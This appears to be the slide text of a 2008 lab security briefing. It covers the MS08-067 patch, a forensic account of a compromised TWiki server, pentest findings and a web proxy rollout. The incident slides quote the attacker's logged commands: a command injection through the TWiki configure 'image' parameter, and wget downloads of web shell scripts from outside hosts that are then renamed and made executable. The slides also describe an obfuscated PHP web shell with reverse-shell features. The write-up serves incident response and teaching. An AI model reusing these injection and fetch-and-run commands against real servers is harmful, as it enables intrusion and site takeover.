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Topics

 Critical vulnerability
− MS08-067

 TWikis on FIRE
 Pentest results so far
 Web proxy pages



  

MS08-067

 Patch from Microsoft, released out-of-band
 Exploit's the Server service in Windows
 Unauthenticated to compromise if non-Vista
 Authenticate to compromise if Vista
 CST is scanning for this via the network
 Blocks are being done



  

More MS08

 Domain machines were patched shortly 
after Microsoft made the patch available

 To date, about 25 machines caught by 
scanners



  



  

Background

Outside report of possibly compromised 
node hosting spam pages

ngreps showed POSTs to machine in 
question from an unknown source

...

suspicious POSTs

...



  

Investigation

 Very old TWiki installation (4.0.3)
− Current is 4.2.3

 LOTS of various other pieces of software
− Third party
− In house

 Suffice to say, there was a lot that could 
potentially be compromised.



  



  

Oh wonderful



  



  

2008/10/03 15:58:00.537059

BAD GUY -> GOOD GUY:80 

GET /cgi-bin/TWiki/bin/configure

?action=image;image=|ls%20-la|;type=text/plain

Great, now, we're as good as....



  

wget http://some.website/js/calendar/lang/cal.txt

mv cal.txt 1.php

GET /cgi-bin/TWiki/bin/1.php

chmod 755 1.php

Oh please be gentle...



  

rm 1.php

Oh good, *stops sweating*, we're safe



  

wget http://mdasla.org/components/com_rss/.rss/cg.txt;
mv cg.txt cg.pl;
chmod 755 cg.pl

GET /cgi-bin/TWiki/bin/1.pl

GET /cgi-bin/TWiki/bin/configure?action=image;
image=|chmod -r configure.pl 1.pl

chmod 766 1.pl

chmod 644 1.pl



  

rm 1.pl

Yes! Give up! Give up!



  

pwd

ls%20-la%20/var/www/

ls%20-la%20/var/www/html

And then we seemed to have lost

site of said attacker



  

Our network greps

included a two minute period of emptiness 

Followed...

...by disaster



  

GET /any/1.php

GET /any/1.php?view_writable=0&dir=/var/www/html/

POST /any/1.php?action=editfile
&opfile=/var/www/cgibin/TWiki/bin/configure.pl
&dir=/var/www/cgi-bin/TWiki/bin/"

And well, the rest as they say, is history



  

So CST was hoping that we'd be able to find remnants of the attack

either on the system or on the web or both

Luckily, we found remnants at both places

And now for your viewing pleasure, a look at the tools the

script kiddies use



  

First, the 1.php script they were using

It's a complete C&C web application in a box


 File manager

 Shell command execution

 MySQL Connection

 MySQL file upload and download

 Arbitrary PHP code execute

 Reverse shell “click and go” (both perl and C)

and the entire thing is contained in a 43k PHP file



  and on and on and on



  

And at the end of the file



  

But....

I can decrypt that

So it's terribly obfuscated.



  

First, I took a crack at the first block of code. It was obviously

Base64 encoded. 

The problem occurred when I did the actual decode though.



  

Doesn't look like any language I'm familiar with!



  

Actually, it is gibberish

Decode the 2nd part first and we'll see why it's gibberish



  

The 2nd part looks something like this



  

Ok....more readable....

...but I can do better

Still obfuscated



  



  

Aha!

Notice that the first red box decodes that first huge block of junk

And the second red box loops over the entire 

length of that decoded stuff



  

So this is what it is

 1st block is “something”
 2nd block decodes that something and 

evaluates it (PHP runs it)
 So it's a poor man's encryption tool

Knowing that, if you change that eval() to echo, you get the sourcecode



  



  

Very awesome.

So what does it look like in operation?

Take a look



  



  



  



  



  



  

Attacker dropped several copies of that tool all over the

web area. He also dropped another tool

It was equally obfuscated, so I'll save you the eye strain.

It looks like this after decoding and running it in my sandbox



  



  



  



  



  



  

Things went quiet for a little while until the 21st

Then the outside report came in and we

moved to investigate.

The attacker was back and had dropped

some equally awesome spam



  



  

The awesome part was the javascript



  



  

Decompiling that, gives you a website



  



  

That, after a little massaging of code, looks like this



  



  

There were many other obfuscated javascript

files that I pulled down from the spam pages

but my guess is that they are all going to be similar

in nature



  

Pentesting



  

Overall, it wasn't terrible.

You know you had a problem if you received a Tissue

notice that was “out of the ordinary”



  

FTP server running on off port allowing anon read/write to system

DNS running on several systems

3ware RAID card unrestricted web access

PhpMyAdmin open to the world

elogs

Tftp servers with unrestricted GETs

Unauthenticated postgres and firebird

NaviSphere directory traversal bugs

Default apps and examples still installed on numerous systems, allowing XSS

and...



  

System compromise of 4 nodes I think?



  



  



  



  



  



  



  



  



  



  



  



  

Web Proxy updates



W eb Proxy/Filter



  

WHY?
- Technical enforcement of existing policies (Directors policy, HR 
policies, Policy on Computing, etc)
- Protection from malicious web content
- Protection from '0-day' type web content
- Whitelist/blacklist
- DOE/Audit line item



How



What



Metrics



Through end of 2008:
•Em ail center
•Village
•Library
•Users Center
•Helpdesk
•Other public locations/term inals
•Explicit and W CCP proxy settings

Q1 & Q2 2009:
•CD W ireless
•W H W ireless
•Site W ireless
•D0
•CDF
•TD
•AD
•BSS/M IS
•Others

Rollout Schedule & Com m unication

Communication:
•GCSC Meeting
•Sysadmin Meeting
•Fermi Today
•CD Tracks

•PCM anager
•Scheduling M eeting
•Brown Bag Sem inar


